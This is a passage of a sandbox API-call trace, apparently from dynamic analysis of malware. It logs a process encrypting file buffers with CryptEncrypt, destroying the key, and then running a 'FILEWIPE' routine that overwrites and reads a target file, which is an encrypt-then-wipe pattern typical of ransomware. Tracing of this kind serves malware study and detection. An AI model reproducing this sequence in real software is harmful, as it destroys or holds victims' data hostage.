| out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.832] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.832] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.832] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x12551, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x12560) returned 1 [0023.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.833] CharLowerBuffW (in: lpsz="byte[75105]", cchLength=0xb | out: lpsz="byte[75105]") returned 0xb [0023.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.834] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.834] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f79f0*, pdwDataLen=0xe8f3dfdf68*=0x12551, dwBufLen=0x12560 | out: pbData=0xe8f41f79f0*, pdwDataLen=0xe8f3dfdf68*=0x12560) returned 1 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.834] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.834] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.835] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.835] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.840] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.840] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.840] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.840] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0023.840] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.840] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.840] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.841] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.842] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.842] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.842] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.842] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.842] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.842] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.842] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.842] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.843] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.845] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.845] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.846] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.846] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.846] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.846] CharLowerBuffW (in: lpsz="byte[75089]", cchLength=0xb | out: lpsz="byte[75089]") returned 0xb [0023.847] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.847] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.847] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.847] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.847] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.847] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.847] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.847] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.848] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.849] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.849] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.849] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.849] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.849] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.850] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.850] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.850] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.850] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.851] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.852] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.852] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.852] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.852] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.852] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.852] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.852] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2441) returned 1 [0023.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.852] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x989, lpOverlapped=0x0) returned 1 [0023.852] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, 